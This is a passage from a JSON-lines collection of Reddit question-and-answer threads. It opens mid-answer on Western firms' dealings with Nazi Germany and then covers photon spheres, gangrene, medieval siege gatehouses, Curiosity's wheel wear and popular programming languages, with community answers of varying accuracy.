day-to-day control of its German subsidiary Dehomag. The New York company certainly did not welcome this development, but ut also  wanted to keep control of its near monopoly on tabulating machines, so it kept Dehomag  in operation to preserve the company's monopoly in Germany. \n\nIBM's case was paralleled in other major foreign-owned firms by the dawn of the war. While there were on paper owned by foreign concerns, they had been pretty much *de facto* German companies by this point. The management had been Germanized and Jews thrown out of positions of authority. The laws of the Reich prevented profits from cycling out of the country, creating a headache for accountants. Reports on day to day operations grew more distant and only more so after the war broke out. Foreign firms were complicit in this process of Germanization, some gambling that playing with the state would lead to a more normalized business relationship when the political atmosphere was more relaxed. Other responses were predicated on the fear that if they resisted, then the Third Reich would engage in outright expropriation and control. This was what lay behind the convoluted case of tetraethyl lead gasoline. This was an old technology from the 1920s whose American-owned patents and manufacturing data were relatively open. Italy had already in 1935 overrode these patents on its own accord and allowed a state-owned company to produce it. The fear in American circles (the US patent was owned by the Ethyl Gasoline Corporation which in turn was under joint control of GM and Standard Oil) was that Germany would follow the Italian precedent. Thus the Americans were more receptive to IG Farben's offer to form Ethyl GmbH with IG Farben, the German Standard Oil subsidiary, and Opel all sharing ownership. The protection of a large patron like IG Farben would allow the US firms to keep their trade secrets under some form of control, but the subsidiaries soon became passive partners as IG Farben assumed more control over Ethyl GmbH. Fears of losing control were also quite acute in the financial sector, both German and non-German owned, as they often operated under implicit threat that National Socialism saw such unproductive wealth as suspect and tainted by Judaism, which in turn made financial institutions more conducive towards freezing Jewish assets or other fiscal measures pushed by the state.  \n\nThe idea that the Nazis were \"thugs for the rich\" is a charge that actually dates back to the 1930s and was a staple of both socialist and communist propaganda of this time and in the latter case remained an orthodoxy through the Cold War. It has also been taken as a given by various anti-capitalist movements seeking to tar existing multinational concerns like Ford with the taint of the Third Reich. Such contentions generate more heat than light. Hitler may have held Ford and Fordism in high esteem, but so to did many other world leaders at this time, including the USSR of Stalin which practically enshrined Fordist/Taylorist industrial management as state doctrine.  The reality was of course far more complicated and part of the problem of examining American multinationals and the Third Reich was that of the latter's twelve-year existence, Germany was at peace with the US for eight of these years. American firms, like their German counterparts, found themselves having to adjust to a state predicated both on military expansion and a subordination of industry to the needs of the state. Most industrial leaders accommodated these demands, and more than a few profited from them, but many were uneasy with this arrangement. Even in giant German conglomerates like Krupp or Rheinmetall-Borsig that grew tremendously under state military contracts, their management fsoon ound that they were no longer masters of their own house. \n\nTherein lies the damage of reckless claims like those of Oliver Stone's.  Industrial collusion and corporate profits from the Third Reich is a serious issue and one that American companies like Ford and GM have been less than forthcoming about, as well as German firms. A lot of businesses operating in Germany recast themselves after the war as principled opponents of Nazism, but this was far from accurate, and sometimes was a self-serving lie. But a hyperbolic argument that is unsustainable actually makes holding these firms accountable much harder to accomplish and makes it harder to distinguish serious scholarship about corporate responsibility from noise. \n\nAs for the larger question of could an economic embargo have hurt the Third Reich, this is an unanswerable question. Certainly Nazi persecution of Jews and the overall unsavory nature of the dictatorship hurt the \"made in Germany\" brand as well as inspiring boycotts. But such actions had little sway in middle of the Depression. Certainly foreign investment could have pulled their out, but plant would have remained and been nationalized in such a scenario. The Third Reich's general approach to international trade was hat it had to serve the interrelated goals of rearmament and autarky. Thus its trading policy often involved selling finished goods, often military weaponry, to weaker countries in exchange for natural resources. The US market did not really figure much in this calculation. More proactive measures by the American government and business working in tandem might have added more pressure, but the Nazi economy was already suffering the pains of self-inflicted wounds by the late-1930s as it had to play a complex shell game with its books to finance rearmament.  \n\n*Sources*\n\nNicosia, Francis R., and Jonathan Huener. *Business and Industry in Nazi Germany*. New York: Berghahn Books, 2004.\n\nTooze, J. Adam. *The Wages of Destruction: The Making and Breaking of the Nazi Economy*. New York: Viking, 2007.\n\nTurner, Henry Ashby. *General Motors and the Nazis: The Struggle for Control of Opel, Europe's Biggest Carmaker*. New Haven: Yale University Press, 2005. \n\nWiesen, S. Jonathan. *West German Industry and the Challenge of the Nazi Past, 1945-1955*. Chapel Hill, NC: University of North Carolina Press, 2001.\n\n_. *Creating the Nazi Marketplace: Commerce and Consumption in the Third Reich*. Cambridge: Cambridge University Press, 2011. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4bmb7d/nazism_thugs_for_the_rich_how_accurate_is_this/"]]}
{"q_id": "48itd9", "title": "What would a photon sphere look like?", "selftext": "_URL_0_\nAs we all know, photons can become trapped in orbits around neutron stars or black holes creating a photon sphere. (duh!) The above linked wiki states in the Properties section that a photon sphere would render the entire surface of a neutron star visible. My question being; is this accurate, and if so, what would that visually look like? My friend claims it would be a highly distorted image, to the point of being incomprehensible, since the photons you could see would be the one-off ones escaping orbit and reaching your eye. Would there be some kind of coherent image, albeit very distorted?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/48itd9/what_would_a_photon_sphere_look_like/", "answers": {"a_id": ["d0k25re", "d0k2jeh", "d0kp7a6"], "score": [4, 13, 25], "text": ["~~photons can't orbit neutron stars.  there isn't enough gravity.  if there were enough gravity, there'd be an event horizon and it would cross into black hole territory.~~\n\ni believe the rendering of what this would look like in the movie \"interstellar\" was pretty realistic.\n\n_URL_0_\n\nedit: my bad about the event horizon.  but neutron stars shouldn't have enough gravity to have a photon sphere.\n\nedit2: thanks for the corrections!", "Have you ever seen a fisheye picture that goes out more than 180 degrees? It would look kind of like that. The center would look fairly normal, but it would get more and more warped the further you go out. At a certain distance from the center, you'll see the opposite side of the neutron star. That one point will make an entire circle. Then if you look out more, you'll see the surface of the neutron star again approaching the front, and another circle that shows the part directly in front of you. This will repeat an infinite number of times as you approach the angle where light stops hitting in the neutron star.\n\nAlso, the photons aren't exactly trapped in orbit. It's unstable. Photons can in principle orbit an unlimited number of times, but it gets exponentially less likely the longer they orbit.", "I hate to do self-promotion, but [I made some simulations](_URL_0_) a while back and there's a lot about the photon sphere and seeing the whole surface. It's for a black hole but exactly the same works for a neutron star smaller than the photon sphere."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Neutron_star"], "answers_urls": [["http://www.wired.com/2014/10/astrophysics-interstellar-black-hole/"], [], ["https://rantonels.github.io/starless"]]}
{"q_id": "1f4zjg", "title": "why do body parts turn black when their circulation is cut off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1f4zjg/eli5why_do_body_parts_turn_black_when_their/", "answers": {"a_id": ["ca6vav4", "ca70n7a", "ca70xak"], "score": [2, 2, 8], "text": ["Because the cells are dying off. ", "I think it has a little bit to do with blood beginning to pool since it isn't moving and slowly seeping out of the flesh. See [suggillation.](_URL_0_) I think it also has a bit to do with dying cells releasing chemicals that cause swelling, discoloration, and such to occur.\n\nSource: I'm an EMT, but it's been a while since I've been in the classroom, and I'm not currently working in a field that uses my certification, so take this info for what it's worth =P", "The primary driving force is dehydration of the dead tissues.  When cells are alive, they have a membrane that aids in maintaining homeostasis.  It keeps electrolytes/water/desired-items in the cell, and uses pumps to pump out waste, etc... (this is far more complex than that sentence infers, but go with it).  Once the cells die, the pumps stop working, the membranes lose their integrity, and dehydration occurs.  (This also is rushed along by the lack of new blood supply to the tissue and the inability for the tissue to acquire new water).  Proteins within the cell also break down.  The tissue appears then to change colors over time based on the proteins breaking down and the tissue dehydration.  It transitions through several other colors (red, yellow, brown/purple) and finally, you're left with a dehydrated, hard, black piece of tissue (medical term = eschar).  \n*edited for stupid grammar issue"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Livor_mortis"], []]}
{"q_id": "4m88g4", "title": "Could Canine transmissible venereal tumour be considered as an obligate parasite and subsequently a new species in it's own right?", "selftext": "Given that the tumour cell line is genetically distinct from the host organism's, for example having less chromosomes and a different chromosomal structure.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4m88g4/could_canine_transmissible_venereal_tumour_be/", "answers": {"a_id": ["d3unqtp", "d3uo6u7", "d3uukfg"], "score": [3, 4, 2], "text": ["Interesting proposition, my first contention with it is that it's unlikely to be an obligate parasite, it can probably be cultured without normal canine cells. As to the genome, that could then be argued for many cancers once they have mutated enough.", "I'm not very well versed in this particular disease, but it brought to mind human HeLa cells. These cervical cancer cells were extracted from Henrietta Lacks back in 1951, and they are now the oldest and most widely used lineage. Van Valen proposed it should be a new species, but other evolutionary biologists and such said no because its karyotype is too unstable (since it's cancerous) and because there is no direct evolutionary ancestral-descendent lineage. ", "Although it's tempting, we probably shouldn't consider it a new species even though it's tough to argue that single-celled parasitic cancers with unstable chromosomes are still \"canines\".\n\nHowever, let me provide a (somewhat weak) counter example. Since in this scenario, the genetic distinction is what we are defining as a \"different species\", then we must also consider eggs and sperm separate species.\n\nThis is more philosophy than science, because they are clearly different yet the tumor clearly came from a canine originally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "22l6o5", "title": "what's the deal with the reddit logo today?", "selftext": "Instead of the normal Reddit logo on the main page, there's some sort of winking pink/purple cartoon character, and the dot in the 'i' of \"Reddit\" is the same color. What's the deal?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22l6o5/eli5_whats_the_deal_with_the_reddit_logo_today/", "answers": {"a_id": ["cgnwd57"], "score": [3], "text": ["the /r/mylittlepony won the CCCC (Combined Community Charity Challenge). \n\nFor detailed info, check out the thread on their sub:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/mylittlepony/comments/22img4/official_rmylittlepony_cccc_reddit_banner_thread/"]]}
{"q_id": "50hygb", "title": "Why are monotheisms (specifically Abrahamic religions) so severe about idolatry ? How was idol worshipping concretely a bigger threat to them than other religious practice ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/50hygb/why_are_monotheisms_specifically_abrahamic/", "answers": {"a_id": ["d753tgj", "d755xg4", "d76j0k7"], "score": [3, 15, 2], "text": ["A supplementary question, if I may: Is it possible that the Abrahamic religions faced Sanaatana Dharma (aka Hinduism, which roughly believes in idol worship), and hence wanted to differentiate themselves so as to offer a different ideology to the masses? \n\nI am aware I am making the assumption (jury is still out on this) that many strains of Hinduism spread as far as Russia and Rome during the times when the Abrahamic religions came into existence.", "In Old Testament Biblical terms, I'm not sure I'd agree with the assumption of the question. The Bible also gets quite serious about e.g. eating certain sorts of foods associated with other religious festivals (I'll look up the specifics: I think this particular one is in Hosea. And there are some general provisions along the lines of 'if someone tries to convert you or your friends/family to a foreign religion, kill them or drive them out'. I would have though that idolatry was mentioned so much\n1. One of the most iconic (hah) forms of other religions\n2. Open to ridicule: from the Old Testament to iconoclasm, to Protestants to modern atheists, it's easy for opponents to portray the use of images in worship as 'bowing down to stone and wood'. Not convinced any adherents of said faiths would see it that way, even if you have a fairly strong concept of the God 'inhabiting' the image during a specific festival or act of worship. \n\nIt's also possible that images were used during some forms of early worship of the Israelite God, which the reformers who wrote the Bible opposed. So there are Biblical references to worship of 'pillars' which may have been a form of idol.", "[Prophet Mohammed PBUH told us why](_URL_0_),  I am clarifying the translation here.\n\nNarrated Al-Harith Al-Ash'ari:\n\nthat the Messenger of Allah (\ufdfa) said: \"Indeed Allah commanded Yahya bin Zakariyya (John son Zechariah) of with five commandments to abide by, and to command the Children of Israel to abide by them. \n\nBut he was slow in doing so. So 'Eisa (Jesus PBUH) said: 'Indeed Allah commanded you with five commandments to abide by and to command the Children of Israel to abide by. Either you command them, or I shall command them.' So Yahya (John) said: 'I fear that if you precede me in this, then the earth may swallow me, or I shall be punished.' So he gathered the people in Jerusalem, and they filled [the Masjid] and sat upon its balconies. So he said: 'Indeed Allah has commanded me with five commandments to abide by, and to command you to abide by. The first of them is that you worship Allah and not associate anything with him. \n\n**The parable of the one who associates others with Allah is that of a man who buys a servant with his own gold or silver, then he says to him: \"This is my home and this is my business so take care of it and give me the profits.\" So he takes care of it and gives the profits to someone other than his master.** Which of you would live to have a servant like that? And Allah commands you to perform Salat (Prayer), and when you perform Salat (Prayer) then do not turn away, for Allah is facing the face of His worshipers as long as he does not turn away. And He commands you with fasting. For indeed the parable of fasting, is that of a man in a group with a sachet containing musk. All of them enjoy its fragrance. Indeed the breath of the fasting person is more pleasant to Allah than the scent of musk. And He commands you to give charity. The parable of that, is a man captured by his enemies, tying his hands to his neck, and they come to him to beat his neck. Then he said: \"I can ransom myself from you with a little or a lot\" so he ransoms himself from them. And He commands you to remember Allah. For indeed the parable of that, is a man whose enemy quickly tracks him until he reaches an impermeable fortress in which he protects himself from them. This is how the worshiper is; he does not protect himself from Ash-Shaitan (Satan) except by the remembrance of Allah.'\" The Prophet (\ufdfa) said: \"And I command you with five that Allah commanded me: Listening and obeying, Jihad, Hijrah, and the Jama'ah. For indeed whoever parts from the Jama'ah the measure of a hand-span, then he has cast off the yoke of Islam from his neck, unless he returns. And whoever calls with the call of Jahiliyyah (Period of ignorance) then he is from the coals of Hell.\" A man said: \"O Messenger of Allah! Even if he performs Salat and fasts?\" So he (\ufdfa) said: \"Even if he performs Salat and fasts. So call with the call that Allah named you with: Muslims, believers, worshipers of Allah.\"\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://sunnah.com/urn/730960"]]}
{"q_id": "2ex0iw", "title": "How many wives did Prophet Muhammad has?", "selftext": "Follow up question also, did sex slaves flourish at the time amongst the first muslims? What rights did the sex slaves had? Did they has the responsibility to work as other slave, or did their job was merely to dress up and, erm, have sex? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ex0iw/how_many_wives_did_prophet_muhammad_has/", "answers": {"a_id": ["ck3qpsn", "ck3qqwi"], "score": [3, 6], "text": ["Hmm, these two questions have absolutely nothing to do with each other so I'll answer them separately.\n\nAt once, 9 wives. I think over his lifetime though, it comes to 12.", "In terms of \"sex slaves\" this really wasn't a thing. Unmarried female slaves in general had sexual relations with their owners but they weren't typically designated as \"sex\"' slaves. In terms of rights, they had the same right as any other slaves, with one extra. Enslavement occurred through two ways: being captured in war, or being born into slavery. They had the right to earn what was called a \"mukataba\" which was a contract delineating how long they would work in order to be freed. The slave was due shelter, food, clothing, and medical attention from his/her master.. The standard of the food and clothing was required to be equivalent to the standard in the locality. The extra right given to an unmarried female slave is that if she were to become pregnant, she could no longer be sold and would be automatically freed at her owner's death.\n\nSource and further reading: The Social Structure of Islam by Reuben Levy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3kq15i", "title": "It seems like a fair amount of sieges ended when the attackers scaled the walls and opened the main gate from the inside, or through treachery that achieves the same. Did defenders ever take measures to prevent gates from being opened from the inside during sieges?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3kq15i/it_seems_like_a_fair_amount_of_sieges_ended_when/", "answers": {"a_id": ["cuzt587", "cuztgtt", "cuzwemw", "cv04iz4"], "score": [99, 159, 59, 9], "text": ["Similar to the original question, I always wondered why the defenders never just piled rubble behind the gate. It seems like no one would be able to break down your gate (even with a ram) when there are severals tons of rock behind it.", "As a tangential question, how often did that happen? In the movies, a final push to overtake the castle is very dramatic to watch. But how often did that happen versus, say, just starving out the people inside?", "I was always under the assumption that you would starve/disease a city over several weeks/months/years until they were so weak that you could storm the tiny garrison or force them to let you in. Could someone clarify this?", "It was not uncommon \u2013 especially in the high and later middle ages \u2013 for castle gatehouses to be designed so that they were almost a fortress within a fortress and able to be defended separately against attackers who were inside the enclosure as well as those outside. There would be doors (and sometimes portculli) at each end of the gate passage, entrances to the gatehouse from the interior would be strongly defended, drawbridge and portcullis mechanisms could only be accessed from within the gatehouse etc. City gatehouses were often similar.\n\nHarlech Castle in North Wales has a classic example of this kind of gatehouse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5anz1y", "title": "why do we call games \"vanilla\" and what does it imply?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5anz1y/eli5_why_do_we_call_games_vanilla_and_what_does/", "answers": {"a_id": ["d9hycn0", "d9i0wj7"], "score": [71, 10], "text": ["Vanilla is widely considered to be the base flavour of many ice-creams.\n\nAs such, when a game is called 'Vanilla', it means that the version of the game is the base game, without any modifications or additions, like DLCs or mods", "It fully varies based on context, but in general it is a reference to the base original game with no expansions, DLC, or mods. Original WoW for example is often called Vanilla. \n\nThe reason for this has to do with ice-cream. Most ice-creams start as a vanilla base that they then add other ingredients to in order to give you other flavors. So the base game is called vanilla for similar reasons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1uw9j2", "title": "Were there any civilisations or societies that developed through fishing/aquaculture?", "selftext": "I have been reading up on early societies and civilisations as of late. I have read of ones that developed as agricultural and pastoral cultures as well as the older hunter/gatherer system. Were there any that depended solely or near solely on fishing? How many feed themselves by gathering solely fish or by developing more complex aquaculture? In addition why were agricultural and pastoral cultures much more common?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1uw9j2/were_there_any_civilisations_or_societies_that/", "answers": {"a_id": ["cema3qv", "cemed0h", "cemguxw"], "score": [8, 6, 4], "text": ["Absolutely! Many coastal and many riverine communities developed based on water resources. Plateau and Northern California tribes didn't have land-based agriculture but based much of their diet on salmon runs. \n\nBut far more ancient are the ancient Peruvians on the Pacific coast ([Scroll down to \"Coastal Beginnings\"](_URL_0_)). The early time period was known as \"Cotton Pre-Ceramic.\" Because of the plentiful fishing and hunting of sea mammals, societies developed the earliest cities in the Americas. They began agriculture with cotton farming, which produced clothing but also fishing nets. [Aspero](_URL_1_) is one of these earliest cities, dating back to 3000 BCE. It's believed that initially agricultural foodstuffs wasn't grown on the coasts, but traded with inland communities.", "By total coincidence, aboriginal clam farming on the Pacific Coast came up on the radio today. \n\n\"The nature of archaeological discussions about marine resource management have changed in recent years, in part prompted by the growing body of literature on ancient plant management and also on the relatively recent recognition by archaeologists of ancient features that were undeniably used to manage clams ...\" (in [Lepofsky and Cadwell](_URL_0_)).\n\nOne technique of aboriginal clam farming was to carve underwater terraces, providing more surfaces for the clams to grow.\n\nAnother technique was to create rock walls to protect the clams: [photos](_URL_0_/figure/F6) also from Lopofsky and Cadwell.", "By coincidence, I've been reading the pop history book \"Cod,\" which contains as a major theme the impact of access to the cod fisheries on the Basque people. Salted cod, being plentiful and easy to store, not to mention delicious, was a tremendous part of the economy of the Basques and many other West/North European societies. It can be argued that access to the cod fisheries of the Grand Banks was one of the chief motivations for exploration and settlement of North America by the Europeans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://popular-archaeology.com/issue/june-2011/article/ancient-peru-the-first-cities", "http://archaeology.about.com/od/aterms/a/Aspero-Peru.htm"], ["http://www.ecologicalprocesses.com/content/2/1/12", "http://www.ecologicalprocesses.com/content/2/1/12/figure/F6"], []]}
{"q_id": "1wnb8s", "title": "Why are the wheels of NASA's Mars rover, Curiosity, wearing out?", "selftext": "After reading an article from Pasadena News:\n\n_URL_0_\n\n...I got to wondering why Curiosity's wheels are wearing out and what threat punctures are to a non-inflated solid aluminum wheel?\n\nI've never heard this discussion from any of the other rover camps. Is it because of Curiosity's greater mass? Harsh terrain of the area it's exploring? Different wheel design?\n\nI understand it's only travelled a little under 5km since landing in 2012. Is the surface of Mars really that rough?\n\nThank you.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1wnb8s/why_are_the_wheels_of_nasas_mars_rover_curiosity/", "answers": {"a_id": ["cf3no6r", "cf3pdxf", "cf3sxam"], "score": [20, 40, 2], "text": ["There are multiple reasons why this has happened.  \n\n\n1. Even though, before the mission, we had a fair understanding of Mars surface, we were never able to produce similar terrains here to test the vehicle on. They tested it on Mojame desert, which even though caused wearing out, it didn't result in puncturing of tires. Similar tests carried out about my the ESA rover in the Atacama desert has proved more of a strenous test for the rover and its tires. \n\n2. Adhoc mapping of routes. Irrespective of the advancement in technology, driving around a rover still is a bit of a trial-and-error, dart in no light, situation. Puncturing of tires was expected, but mostly not this soon. \n\n3. Now coming back to your actual question: is Mars surface rought? Yes, extremely rough, mainly because of craters. But the roughness isn't what causes the wear and tear. Its the iron in the soil, and the rust, that causes this. Oxidized iron can cause havoc to any mechanical instrument. Hence, the Red plannet. ", "Here are some photos in case anyone was wondering. \n\n_URL_2_\n\n_URL_3_\n\n_URL_0_\n\n_URL_1_", "Hasn't Curiosity exceeded the project timeline?  If so, then perhaps the wheels were only designed for project lifetime of the project (with, I would hope, some overengineering).  If that's the case, then it would not be that surprising that something is starting to give."]}, "title_urls": [], "selftext_urls": ["http://www.pasadenanow.com/main/curiosity-mars-rover-checking-possible-smoother-route"], "answers_urls": [[], ["http://mars.jpl.nasa.gov/msl-raw-images/msss/00494/mcam/0494ML1964004000E1_DXXX.jpg", "http://mars.jpl.nasa.gov/msl-raw-images/msss/00411/mhli/0411MH0262001000C0_DXXX.jpg", "http://mars.jpl.nasa.gov/msl-raw-images/msss/00490/mhli/0490MH0262000003E1_DXXX.jpg", "http://mars.jpl.nasa.gov/msl-raw-images/msss/00490/mhli/0490MH0262000001E1_DXXX.jpg"], []]}
{"q_id": "5fivcd", "title": "why are java, python, c++ the most common languages jobs look for?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5fivcd/eli5why_are_java_python_c_the_most_common/", "answers": {"a_id": ["dakigkh", "dakiih8", "dakjqfl", "dakk64x", "daklr32", "dakq92z", "dakr2n3", "dakuxrd", "dakyze9", "dal042l"], "score": [3, 4, 3, 3, 7, 33, 5, 2, 8, 6], "text": ["Because they are the most used ones and that again has to do with how flexible they are, you can use either of these for a lot of totally different things. C++ for example is often used in game development and that is a multi-billion industry as you might know.", "Because they're all very powerful, very versatile languages. \n\nBetween Java and C++, you can do almost anything. I'm not as familiar with python, but I hear it's great for data mining and the like. \n", "Java works on almost all computers, smartphones, controllers. You can do almost anything in JAVA, the main problem is that is slow and uses a lot of resources.\n\nIn C++ you can do almost anything. The main problem is that it may not work in all machines and, in most cases, requires tuning to work the same way in different machines.\n\nI dont like Python xD but I heard from programmer friends that like it that it is like Java with error-tolerances. (dont thing this is good, It may be good for beginners, but can turn into problems in larger programs).\n\nI would like to add. From my experience, that Java is becoming more like a basic skill and almost all programmers are polyglots (2 languages at least, not counting HTML/JAVASCRIPT)", "For C++ and Python, they are popular because they are popular. Jobs hire for them because they have legacy code that uses them, and new hires are likely to know them. They write new software in those languages for the same reasons. Students learn them because jobs hire for them. They are very old languages and they do what they do well.\n\nJava is more recent. When it came out it was the only language that did what it did, and it was very popular. Applets were all the rage. It has become less popular over time.", "What other languages are you thinking of OP? Maybe we can help eliminate them as candidates for most projects. \n\nJava: works as long as you have Java on your system, so it's multiplatform. You can do a hell of a lot in it. It's object oriented, which is what some projects seek. Applets can be moved to any machine with Java installed. Resource intensive. \n\nC++: C's attempt towards oo programming. Not true object oriented, but close enough. You can do as much with c++ as you can Java, sometimes even more if you need to handle lower level stuff, such as memory management. Java just has a garbage collector. Must be compiled to run on a specific machine. \n\nC: is still widely used but C++ is pushing it out for embedded design. But legacy stuff will still exist and C hasn't lost all of its purpose. Still widely used on newer projects too. Also needs to be compiled for specific devices. \n\nAda: I've only ever really seen it in military contractors projects. Legacy code and some new, but mostly being phased out by C/C++. \n\nPython: great for scripting and making short quick applications. Also good for web stuff, I hear. Python is pretty easy and all. You won't see Python running on any systems, like say, an aircraft. ", "I'd say it's because of the history of these languages.\n\nBack in the 1970's, the languages that were likely to be used were Fortran or, increasingly, C.  C was the language used to write the UNIX operating system (which lead to Linux).\n\nIn the early 1980s, object-oriented programming was becoming popular, and by the late 1980's, companies were touting the OOP paradigm.  C++ was popular partly because C was popular, and also because AT & T used it. \n\nBut what really gave C++ an additional boost was that it was picked as the language used in the AP (Advanced Placement) exam which could allow students to get college credit for work done in high school.  C++ remained the language used in AP until early 2000s, when the language, then perceived as too challenging to teach, was changed to Java.\n\nJava itself was developed by Sun when they were working on interactive TV and found C++ painful, so they did the really crazy thing of making a new language that eventually became Java.  Java was boosted by being similar in syntax to both C and C++, and also the language people associated with the Web which was starting to get very popular by 1995.\n\nWhile Java never quite made it as a front-end language of choice (JavaScript, which is unrelated, has taken its place), it still remains fairly popular as a backend language on servers.\n\nSome universities have adopted Python.  It may become the next language for the AP exam (but I have no idea, really).  For some reason, Python has made more inroads than Ruby to high school and universities, but that's probably the reason Python is gaining popularity (it's also easier to teach initially because you can avoid OOP for a while).\n\nSo, I'd say the AP exam, combined with what's popular in industry has pushed these languages out front.\n\nLong story short, the more people that know a language, the easier it is to hire.  Pick a more obscure language, like Erlang, and there's far, far fewer people to select. Sure, one could say \"It's easy to pick up another language\", but it's not that easy.", "There are more than 1 kind of computer out there. Your desktop / laptop with an Intel chip is one kind. Your phone / tablet with an ARM chip is another kind. Your wireless router at home most likely has some kind of MIPS chip in it.  All of these chips speak different languages.   \n\nWay back in the day, if you wanted to write software that would run on all 3, you would have to manually write the whole program in each chips native language.\n\nThis sucked, so they came up with a better way - they came up with a thing called a *compiler*, which would take your 'high-level' code like C or C++, and translate it into the chip-specific language of the chip you wanted to run it on. This made your code more portable - you could write it once, and then compile it 3 times. Since you're compiling down to the machines native language, you can control pretty much every aspect of the computer with this kind of program. But because you had such low-level access, your programs still had to include some code that was specific to each chip, and even specific to each operating system the program is going to run on even when those OS's are on the same chip, and let the compiler sort it out.  This can be tricksy.\n\nPython is an even-higher level language called a scripting language.  Somebody has written  &  compiled an *interpreter* that takes your code, and line-by-line translates that into the chip-specific operation. This interpreter was written in a language like C, and specifically compiled for that OS  &  chip.  The upside is that you can take your script to any computer where someone has compiled a python interpreter.  The down-side is that interpreted languages like python do not have the same low-level access to the computers hardware like C does, so there are some limitations on what they can do. It's also a lot slower than a compiled program - the interpreter has to completely interpret your script every time it's run.\n\nJava is somewhere in between the a 'compiled language' and an 'interpreted' language.  There's a thing called the 'java virtual machine' that acts very much like a computer-within-your-computer, which was written in C and compiled for your specific OS  &  chip. The programer writes their java code and compiles into 'bytecode', and in theory you can take that bytecode to any system where there is a JVM - the JVM translates the instructions of the 'virtual machine' into the instructions your chip will understand  &  passes the result back to your program.\n\nC is like the grand-daddy of them all, and C++ is like the daddy of them all.  Computer operating systems are typically written in C or C++, as are the most performance-intensive games.\n\nApplications that are designed to be passed around between different operating systems are written in Java.  These can be business applications, games that don't have as strict performance requirements, pretty much anything.   \n\nPython scripts (and other scripts) are great for automating certain tasks or working with relatively simpler tasks than games  &  full blown UIs - although there are a lot of add-ons for python which make these possible.  \n\nThe lines between them  &  the reasons for choosing one over another are not always clear. Hence, it's great for a programmer to know a bit about all of them", "This has not been my experience. In my city there is much more .Net jobs, or the LAMP stack. Not too many c++ shops around here, some Java, and Python might be listed under \"nice to have\" but not really explicit Python jobs", "What's your source for this information?  I'm finding different [results](_URL_0_).\n\nIf you count SQL as a language, it's number one, and that's probably because if you're storing data, you're probably using at least some SQL.  Even if you don't, Javascript would be the number two language. The only things Java and Javascript have in common are the first four letters in their name--they are not two sides of the same coin.  \n\nJavascript is so common because it's ubiquitous--no matter what you're doing on your server, if you're working on a website you're likely going to do a lot of Javascript, because that's what the browser is using.\n\nThen after that is C#--again, C++ and C# are not the same, and C# is about twice as in demand as Python.  \n\nC# is so in demand because Microsoft is everywhere, and Microsoft specifically supports C# and .Net, because they own them.  If you work at a company with more than 50 people that use computers, it's a good bet that those computers are running Windows of some variety or another.\n\nIf you are working on an enterprise application, it's probably in either Java (because it can go anywhere), or C# (which is generally more MS/Windows specific, but since that's the kind of computers big companies stock, it's fine).", "IMO these programmming languages have a lot of jobs:\n\nC/C++: these are both very mature and powerful languages, used in many legacy software projects. Also used to build new software that need to have speed (e.g. parts of an OS or embedded software). Powerful, but unforgiving. \n\nC#: a more modern approach on C++ and the most popular language you can use on the  .NET platform. Used in desktop applications, server software and tools that allow you to make multi platform apps. Lots of companies use it.\n\nJava: a great object oriented language that was widely praised when released  in the 90s. Lots of companies have built their entire systems in this language. Also, Android uses it.\n\nJavaScript: this is a browser language that has nothing to do with Java. Still gaining popularity, it is not the most brilliant language but it is the only language that is universally supported between browsers. Also used on servers nowadays.\n\nPython and Ruby: these are both powerful script languages that allow you to do a lot in just a few lines of code.  Used by enthousiasts and companies for scripts, but also on servers.\n\nSwift: this is a new language used by Apple. And it is popular because Apple is widely used.\n\nThen there are potentially diminishing languages that are still in demand because a lot has been written in them, such as Php, Delphi, Objective C, VBA.\n\nThen there are new languages that show potential but have not yet made it, like Go and Rust."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://www.codingdojo.com/blog/9-most-in-demand-programming-languages-of-2016/"], []]}
